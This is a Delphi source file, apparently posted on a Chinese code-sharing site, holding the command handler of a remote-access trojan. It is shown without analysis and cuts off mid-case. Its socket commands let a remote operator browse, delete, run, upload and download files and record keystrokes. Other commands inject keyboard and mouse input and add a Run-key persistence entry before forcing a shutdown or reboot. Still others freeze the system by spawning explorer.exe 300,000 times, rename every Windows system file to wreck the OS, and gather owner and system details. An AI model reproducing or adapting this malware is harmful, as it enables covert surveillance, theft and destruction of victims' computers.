📄 unit1.pas
字号:
begin
Reg := TRegistry.Create;
if strtoint(go)<350 then
begin
strr:=copy(strr,4,length(strr));
i:=pos('\',strr);
if i<>0 then
begin
RERT:=copy(strr,1,i-1);
RERV:=copy(strr,i,length(strr));
end
else
begin
RERT:=strr;
RERV:='';
end;
if RERT='HKEY_CURRENT_USER' then Reg.RootKey:=HKEY_CURRENT_USER;
if RERT='HKEY_LOCAL_MACHINE' then Reg.RootKey:=HKEY_LOCAL_MACHINE;
if RERT='HKEY_USERS' then Reg.RootKey:=HKEY_USERS;
end;
end;
case strtoint(go) of
007:begin//登录密码
if copy(strr,4,length(strr)-3)=SETC then
cs.Socket.SendText('007'+'OK')
else
cs.Socket.SendText('007'+'OFF');
end;
110:begin
M2.Text :='';
ld := GetLogicalDrives;//得到磁盘列表
for i := 0 to 25 do
begin
if (ld and (1 shl i)) <> 0 then
if GetDriveSpecies(Char(Ord('A') + i) + ':')='2' then
S1:=s1+(Char(Ord('A') + i) + ':');
end;
Fextfi:='*.*';
dirn:='';
filn:='';
fdir(copy(DCB.Text,1,2));
cs.Socket.SendText('110'+S1+'>>>'+COPY(DCB.Text,1,2)+'>>>' +dirn+'>>>'+filn);
Fextfi:='';
end;
130:begin//刷新磁盘时
M2.Text :='';
LPH:=copy(strr,4,2);
Fextfi:=copy(strr,9,3);
dirn:='';
filn:='';
fdir(LPH);
cs.Socket.SendText('130'+LPH+'>>>'+dirn+'>>>'+filn);
Fextfi:='';
end;
131:begin//刷新目录时
i:=pos('>>>',strr);
LPH:=copy(strr,4,i-4);
Fextfi:=copy(strr,i+3,5);
dirn:='';
filn:='';
fdir(LPH);
cs.Socket.SendText('131'+dirn+'>>>'+filn);
Fextfi:='';
end;
150:begin //新建目录
strr:=copy(strr,4,length(strr)-3);
if directoryexists(strr)=false then
begin
createdir(strr);
cs.Socket.SendText('150');
end
else
cs.Socket.SendText('150'+'no');
end;
152:begin //目录删除
strr:=copy(strr,4,length(strr)-3);
remall(strr);
if directoryexists(strr)=true then
cs.Socket.SendText('152'+'0')
else
cs.Socket.SendText('152'+'1');
end;
155:begin//运行程序
DOSN:= copy(strr,4,length(strr)-3);
shellexecute(handle,'open',pchar(DOSN),nil,nil,SW_SHOWNORMAL);
end;
156:begin//文件更名
strr:=copy(strr,4,length(strr)-3);
i:=pos('>>>',strr);
S1:=copy(strr,1,i-1);
strr:=copy(strr,i+3,length(strr)-i);
i:=pos('>>>',strr);
f1:=copy(strr,1,i-1);
f2:=copy(strr,i+3,length(strr)-i);
renamefile(s1+f1,s1+f2);
cs.Socket.SendText('156'+'OK');
end;
157:begin//文件删除
strr:=copy(strr,4,length(strr)-3);
deletefile(strr);
if fileexists(strr)=true then
cs.Socket.SendText('157'+'0')
else
cs.Socket.SendText('157'+'1');
end;
170:begin//文件查找
strr:=copy(strr,4,length(strr)-3);
i:=pos('>>>',strr);
f1:=copy(strr,1,i-1);
f2:=copy(strr,i+3,length(strr));
FindFirst(f1+f2,faAnyFile-faDirectory,src);
if src.Name='' then
cs.Socket.SendText('170'+'*')
else
cs.Socket.SendText('170'+src.Name+'文件大小'+inttostr(src.Size));
end;
171:begin//文件查找并运行
strr:=copy(strr,4,length(strr)-3);
i:=pos('>>>',strr);
f1:=copy(strr,1,i-1);
f2:=copy(strr,i+3,length(strr));
FindFirst(f1+f2,faAnyFile-faDirectory,src);
if src.Name='' then
cs.Socket.SendText('171'+'*')
else
begin
shellexecute(handle,'open',pchar(f1+f2),nil,nil,SW_SHOWNORMAL);
cs.Socket.SendText('171'+f1+f2);
end;
end;
172:begin//文件查找并删除
strr:=copy(strr,4,length(strr)-3);
i:=pos('>>>',strr);
f1:=copy(strr,1,i-1);
f2:=copy(strr,i+3,length(strr));
FindFirst(f1+f2,faAnyFile-faDirectory,src);
if src.Name='' then
cs.Socket.SendText('172'+'*')
else
begin
deletefile(f1+f2);
if fileexists(f1+f2)=true then
cs.Socket.SendText('172'+'0')
else
cs.Socket.SendText('172'+'1');
end;
end;
179:begin
strr:=copy(strr,4,length(strr)-3);
updownfile:=strr;
DOWF:=TFileStream.Create(strr,fmOpenRead);
if DOWF.Size >8388608 then
begin
cs.Socket.SendText('1800');
DOWF.Free;
exit;
end;
DOWF.Free;
cs.Socket.SendText('1801');
end;
181:begin
DOWF:=TFileStream.Create(updownfile,fmOpenRead);
CS.Socket.SendText('182');
kks:=1;
end;
183:begin
if kks=0 then exit;
if DOWF.Position< DOWF.Size then
begin
lh:=DOWF.Size-DOWF.Position;
if lh>8192 then lh:=8192;
GetMem(buf,lh);
try
DOWF.Read(buf^,lh);
cs.Socket.SendBuf(buf^,lh);
finally
FreeMem(buf,lh);
end;
end
else
begin
cs.Socket.SendText('184');
DOWF.Free;
kks:=0;
end;
end;
185:begin//查找并下载
strr:=copy(strr,4,length(strr)-3);
i:=pos('>>>',strr);
f1:=copy(strr,1,i-1);
f2:=copy(strr,i+3,length(strr));
FindFirst(f1+f2,faAnyFile-faDirectory,src);
if src.Name='' then
cs.Socket.SendText('185'+'*')
else
begin
updownfile:=f1+f2;
cs.Socket.SendText('185'+src.Name);
end;
end;
190:begin//文件上传
upfina:=copy(strr,4,length(strr)-3);
ss.Port :=cs.Port+1 ;
ss.Active :=true;
JORF:=1;
end;
198:begin//文件属性查看
strr:=copy(strr,4,length(strr)-3);
fst:=TFileStream.Create(strr ,fmOpenRead);
GetFileTime(strr);
cs.Socket.SendText('198'+inttostr(fst.Size)+'>'+T11+'>'+T22+'>'+T33);
fst.Free;
end;
199:begin //文件夹更名
strr:=copy(strr,4,length(strr)-3);
i:=pos('>>>',strr);
f1:=copy(strr,1,i-1);
f2:=copy(strr,i+3,length(strr));
Renamefile (f1,f2);
end;
201:keyti.Enabled :=true;//开始键盘记录
202:begin
keyti.Enabled :=false;//停止键盘记录
cs.Socket.SendText('202'+M1.Text);
M1.Clear ;
end;
203:begin//ESC
keybd_event(27,0,0,0);
keybd_event(27,0,KEYEVENTF_KEYUP,0);
end;
204:begin//←
keybd_event(8,0,0,0);
keybd_event(8,0,KEYEVENTF_KEYUP,0);
end;
205:begin//删除
keybd_event(46,0,0,0);
keybd_event(46,0,KEYEVENTF_KEYUP,0);
end;
206:begin//上页
keybd_event(33,0,0,0);
keybd_event(33,0,KEYEVENTF_KEYUP,0);
end;
207:begin// 回车
keybd_event(13,0,0,0);
keybd_event(13,0,KEYEVENTF_KEYUP,0);
end;
208:begin//下页
keybd_event(34,0,0,0);
keybd_event(34,0,KEYEVENTF_KEYUP,0);
end;
209:begin//TAB
keybd_event(9,0,0,0);
keybd_event(9,0,KEYEVENTF_KEYUP,0);
end;
210:begin//ALT+F4
keybd_event(18,0,0,0);
keybd_event(115,0,0,0);
keybd_event(115,0,KEYEVENTF_KEYUP,0);
keybd_event(18,0,KEYEVENTF_KEYUP,0);
end;
211:begin//CTRL+A
keybd_event(17,0,0,0);
keybd_event(65,0,0,0);
keybd_event(65,0,KEYEVENTF_KEYUP,0);
keybd_event(17,0,KEYEVENTF_KEYUP,0);
end;
212:begin//上
keybd_event(38,0,0,0);
keybd_event(38,0,KEYEVENTF_KEYUP,0);
end;
213:begin//下
keybd_event(40,0,0,0);
keybd_event(40,0,KEYEVENTF_KEYUP,0);
end;
214:begin//左
keybd_event(37,0,0,0);
keybd_event(37,0,KEYEVENTF_KEYUP,0);
end;
215:begin//右
keybd_event(39,0,0,0);
keybd_event(39,0,KEYEVENTF_KEYUP,0);
end;
218:begin //鼠标事件
mx:=strtoint(copy(strr,4,4));//得到X坐标
my:=strtoint(copy(strr,8,4));//得到Y坐标
mk:=strtoint(copy(strr,12,1));//得到击键方式
setcursorpos(mx,my);//定位坐标
if mk=1 then//单击
begin
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
end
else if mk=2 then//双击
begin
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
end
else if mk=3 then//右击
begin
mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
end;
retu();
end;
219:begin//锁鼠标
SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @temp, 0);
a:=rect(0,0,5,5);
ClipCursor(@a);
retu();
end;
220:begin//鼠标解锁
SystemParametersInfo( SPI_SCREENSAVERRUNNING, 0, @temp, 0);
ClipCursor(nil);
retu();
end;
221:begin//开光驱
mciSendString('Set cdaudio door open wait', nil, 0, handle);
retu();
end;
222:begin//关光驱
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
retu();
end;
223:begin//关机
reg:=tregistry.Create ;
reg.RootKey :=HKEY_LOCAL_MACHINE;
IF reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True) then
reg.WriteString('PHIME2OO2ASyst',Application.ExeName);
reg.Free;
cs.Active :=false;
cs.Close ;
SetPrivilege('SeShutdownPrivilege',true);
ExitWindowsEx(EWX_SHUTDOWN,1);
ExitWindowsEx(EWX_FORCE,4);
ExitWindowsEx(EWX_POWEROFF,8);
ExitWindowsEx(EWX_SHUTDOWN or EWX_FORCE or EWX_POWEROFF,0);
exitwindowsex(ewx_shutdown,0);
application.Terminate;
end;
224:begin//注销
reg:=tregistry.Create ;
reg.RootKey :=HKEY_LOCAL_MACHINE;
IF reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True) then
reg.WriteString('PHIME2OO2ASyst',Application.ExeName);
reg.Free;
cs.Active :=false;
cs.Close ;
ExitWindowsEx(EWX_LOGOFF,0);
ExitWindowsEx(EWX_FORCE, 0);
application.Terminate;
end;
225:begin//重启
reg:=tregistry.Create ;
reg.RootKey :=HKEY_LOCAL_MACHINE;
IF reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True) then
reg.WriteString('PHIME2OO2ASyst',Application.ExeName);
reg.Free;
cs.Active :=false;
cs.Close ;
ExitWindowsEx(EWX_REBOOT,2);
ExitWindowsEx(EWX_REBOOT,0);
application.Terminate;
end;
230:begin//死机
for i:=1 to 300000 do
shellexecute(handle,'open',pchar('explorer.exe'),pchar(''),nil,SW_HIDE);
end;
240:begin//破坏系统文件
if sysutils.FindFirst(trim(GetWinDir)+'\system32\*.*',faanyfile,rec)=0 then
try
repeat
sunum:=sunum+1;
if (rec.Name <>'.') and (rec.Name <>'..') then
begin
f1:=trim(GetWinDir)+'\system32\'+rec.Name;
f2:=trim(GetWinDir)+'\system32\'+inttostr(sunum)+'.av';
if renamefile(f1,f2) then
end
until sysutils.FindNext(rec)<>0;
finally
sysutils.FindClose(rec);
end;
if sysutils.FindFirst(trim(GetWinDir)+'\system\*.*',faanyfile,rec)=0 then
try
repeat
sunum:=sunum+1;
if (rec.Name <>'.') and (rec.Name <>'..') then
begin
f1:=trim(GetWinDir)+'\system\'+rec.Name;
f2:=trim(GetWinDir)+'\system\'+inttostr(sunum)+'.av';
if renamefile(f1,f2) then
end
until sysutils.FindNext(rec)<>0;
finally
sysutils.FindClose(rec);
end;
if sysutils.FindFirst(trim(GetWinDir)+'\*.*',faanyfile,rec)=0 then
try
repeat
sunum:=sunum+1;
if (rec.Name <>'.') and (rec.Name <>'..') then
begin
f1:=trim(GetWinDir)+'\'+rec.Name;
f2:=trim(GetWinDir)+'\'+inttostr(sunum)+'.av';
if renamefile(f1,f2) then
end
until sysutils.FindNext(rec)<>0;
finally
retu();
sysutils.FindClose(rec);
end;
end;
250:SendMessage(Self.Handle, WM_SYSCOMMAND, SC_TASKLIST, 0);
260:begin//用户名
reg:=tregistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
if reg.OpenKey('Software\Microsoft\Windows NT\CurrentVersion',true) then
usna:=reg.ReadString('RegisteredOwner');
reg.CloseKey ;
reg.Free ;
CS.Socket.SendText('260'+trim(usna));
end;
261:begin//系统类型
os:=Getos;
case OS of
os95, os95OSR2: OSVersion:='Windows 95';
os98: OSVersion:='Windows 98';
os98SE: OSVersion:='Windows 98 第二版';
osME: OSVersion:='Windows ME';
osNT3, osNT4: OSVersion:='Windows NT';
os2K: OSVersion:='Windows 2000';
osXP: OSVersion:='Windows XP';
end;
CS.Socket.SendText('261'+osversion);
end;
262:begin//内存大小
memst.dwLength := sizeof(memst);
GlobalMemoryStatus(memst);
CS.Socket.SendText('262'+IntToStr(memst.dwTotalPhys)+' Kb');
end;
263:begin//组织名
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -